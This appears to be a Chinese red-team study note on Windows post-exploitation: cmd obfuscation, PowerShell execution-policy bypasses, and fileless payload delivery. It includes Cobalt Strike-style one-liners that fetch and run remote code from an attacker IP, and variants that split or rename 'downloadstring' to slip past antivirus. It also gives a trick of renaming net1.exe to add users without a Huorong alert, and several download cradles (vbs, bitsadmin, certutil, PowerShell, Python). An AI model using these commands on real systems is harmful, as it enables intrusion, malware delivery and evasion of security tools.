type
status
date
slug
summary
tags
category
icon
password
部分cmd命令执行绕过方法
①选项字符替换
原理就是字符串拼接命令
②环境变量&自定义变量
利用@在cmd中,@后面表示命令不执行
③字符插入
可在命令中间插入(),””,^
④空格替换(cmd未成功)
可使用;(分号),(逗号)替换空格
powershell扫盲
get-host #当前终端的信息
$host.version #当前终端版本
$psversiontalbe #查看ps的版本,可直接在命令后拼接.和某个属性值
新建文件: new-item test.txt -type file
删除文件: remove-item test.txt
(此命令如果删除的是文件,会有提示,eg要不要删除子项之类的)
写入文件: set-content 1.txt -value
追加写入: add-content 1.txt -value "so hot"
设置别名:set-alias -name qq -value get-process #执行qq就相当于查进程
powershell支持的脚本文件

powershell的执行权限
unrestricted允许任意脚本执行
allsigned仅运行签名脚本
remotesigned仅运行本地脚本,网络脚本需签名
bypass无限制
undefined无策略设置

绕过powershell的策略限制执行命令
①先读后管道(cmd执行)
powershell get-content 1.txt|powershell -noprofile -

②指定策略运行指定脚本(unrestricted、bypass、remotesigned)
powershell -executionpolicy bypass -file 1.ps1
无文件上线的方式
cs的web投递,将生成的链接直接在目标机器上执行执行:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:80/admin'))"
若服务器有杀软,可尝试赋别名绕过执行,如下(如果检测downloadstring这个函数):
powershell -c "$a='IEX((new-object net.webclient).d';$b='ownloadstring(''http://192.168.1.1:80/a''))';IEX($a+$b)"
替换关键字,replace
powershell -nop -c "$a='IEX((new-object
net.webclient).d';$b='huorong(''http://192.168.10.128:80/a''))'.replace('huorong','ownloadstring');IEX($a+$b)"
常用命令行混淆工具
进入powershell导入模块,Import-Module .\Invoke-DOSfuscation.psd1
使用命令进入此工具

使用方法

新建cmd执行,输入后下面自动执行cmd命令,然后再执行whoami

直接在工具内执行test

net命令绕火绒检测
直接添加用户会弹出警报,发现其实执行的是net1.exe

复制net1.exe为haha.exe,此时火绒不报毒。
火绒只检测默认路径默认程序

文件上传与下载
windows文件下载
- vbs
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.10.128:8888/yb",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.ResponseBody)
sGet.SaveToFile "D:\work\yb",2
- 隐藏执行vbs
echo Set xPost=createObject("Microsoft.XMLHTTP")>>b.vbs
echo xPost.Open "GET","http://192.168.10.128:8888/ngrok",0 >>b.vbs
echo xPost.Send()>>b.vbs
echo set sGet=createObject("ADODB.Stream")>>b.vbs
echo sGet.Mode="3">>b.vbs
echo sGet.Type="1">>b.vbs
echo sGet.Open()>>b.vbs
echo sGet.Open()>>b.vbs
echo sGet.SaveToFile "D:\work\ngrok",2 >>b.vbs
- bitsadmin(windows自带命令) bitsadmin /transfer n http://192.168.10.128:8888/ngrok D:\work\ngrok
- powershell $client = new-object System.Net.WebClient $client.DownloadFile('http://192.168.10.128:8888/ngrok','D:\\work\\ngrok') certutil certutil -urlcache -split -f http://192.168.10.128:8888/ngrok
linux文件下载
- curl
- wget
- nc 开启两个终端,当做是两台服务器,目标端输入cat 1.rar | nc -lvvp 1234开始监听,本地输入nc 127.0.0.1 1234 > 1.rar接收
- python urllib2 #!/usr/bin/python import urllib2 u = urllib2.urlopen('http://192.168.x/www.rar') localFile = open('1.rar', 'w') localFile.write(u.read()) localFile.close()
- 基于python&requests
import requests
url='http://192.168.10.128:8888/yb'
r=requests.get(url=url)
if r.status_code==200:
with open("D:\work\yb","wb") as f:
f.write(r.content)